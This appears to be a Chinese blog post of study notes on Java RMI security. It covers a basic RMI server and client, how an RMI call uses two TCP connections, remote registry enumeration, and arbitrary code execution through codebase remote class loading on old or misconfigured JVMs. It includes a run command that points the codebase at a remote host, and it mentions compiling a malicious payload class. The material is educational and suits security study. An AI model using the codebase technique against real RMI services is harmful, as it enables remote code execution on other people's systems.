Java安全之RMI学习笔记~
RMI介绍
RMI(Remote Method Invocation),远程方法调用,通过RMI我们可以调用远程的对象等,功能类似于RPC,但RMI是java独有的。
简单RMI功能演示
参考p神给出的代码,
RMI Server有三部分:
- 继承了java.rmi.Remote的接口
- 实现了此接口的类
- 主类,用于创建RMI仓库及绑定相应的对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36# RMIServer.java
package RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
我们理一下服务端的调用过程:
- main函数new一个RMIServer对象并调用其start方法
- start方法new一个RemoteHelloWorld()对象,然后创建一个本地仓库,绑定到127.0.0.1:1099的hello上
- RemoteHellloWorld继承自UnicastRemoteObject,并继承自接口IRemoteHelloWorld,其构造函数调用父类的构造方法,即输出call from并返回”hello world”
1 | # RMIClient.java |
我们理一下客户端的请求过程:
- new 一个RMIServer对象,并通过RMI协议请求127.0.0.1的Hello对象,赋值给hello,远程调用hello对象的hello方法,并打印回显
服务端执行结果如下:
客户端执行结果如下:
以上就是一次简单的RMI调用过程,我们可以看到RMIclient调用了远程的hello对象,并调用了其hello方法。
RMI通信过程
一次完整的RMI通信需要完成两次TCP连接
第一次TCP连接
客户端请求远程RMI仓库的地址及端口,并向远程仓库发送call消息以寻找相应对象,远程仓库回复序列化数据ReturnData,ReturnData中包含了远程仓库的IP地址和远程对象端口
第二次TCP连接
客户端反序列化ReturnData传回的数据,并获取远程对象的套接字,然后本机与此套接字建立TCP连接,并调用相应的对象方法
总结
RMI的通信过程有点像DNS的请求过程,本地client去请求RMI的远程仓库,仓库向网关一样告诉client相应的对象绑定在哪个端口,完了RMI的client再去请求相应的端口。
RMI攻击
RMI Registry攻击
Java对远程访问RMI仓库进行了限制,只有来源为localhost时,才可以调用bind和unbind方法,这就是说两个方法只可以本地调用;但是可以远程调用lookup和list方法。
lookup方法是获得某个远程对象,如
1 | RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello"); |
list方法可以列出目标上所绑定的对象
1 | String[] s = Naming.list("rmi://127.0.0.1:1099"); |
比如我们对服务端进行以下绑定
尝试获取所有绑定的远程对象
利用codebase执行任意代码
Java Applet介绍
Applet是一种在Web环境下,运行于浏览器等客户端的Java程序组件,如下所示
1 | <appletcode="HelloWorld.class"codebase="Applets"width="800"height="600"> </applet> |
appletcode是编译好的.class文件,codebase是一个地址,告诉我们去何处寻找类(远程url等)
危害原因
RMI也可以通过codebase来加载远程地址,我们指定codebase=http://vul.yd0ng.com/,并加载org.vulhub.example.Example类,那么java虚拟机会下载http://vul.yd0ng.com/org/vulhub/example/Example.class
通过学习RMI的运行机制我们知道,在第二次TCP连接的过程中,客户端反序列化ReturnData传回的数据,并请求此对象,在此过程中,客户端先会寻找自己classpath下看看有没有此类,若没有则会去加载codebase中的类
限制条件
以下条件二取其一即可
- java版本低于7u21、6u45
- java.rmi.server.useCodebaseonly=false
攻击复现
jdk版本限制,所以jdk7u我配在了虚拟机上,电脑打开虚拟机卡成傻子……
完全操作不了,后面换了电脑一定补,先简单贴一下p神给出的漏洞和复现代码
服务端代码
1 | // ICalc.java |
编译运行
1 | javac *.java |
客户端代码
1 | import java.rmi.Naming; import java.util.List; import java.util.ArrayList; import java.io.Serializable; |
编译及运行
1 | java-Djava.rmi.server.useCodebaseOnly=false- Djava.rmi.server.codebase=http://example.com/ RMIClient |
我们只要编译一个恶意的类为Web服务器的/RMIclient$payload.class即可
classAnnotations
Java反序列化用到了ObjectOutputStream,此类中有一个内置方法annotateClass、用户可以通过重写此方法来向序列化后的数据添加内容。
参考文章
- 《Java安全漫谈-RMI篇》
本文链接: https://yd0ng.github.io/2020/08/14/Java%E5%AE%89%E5%85%A8%E4%B9%8BRMI/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!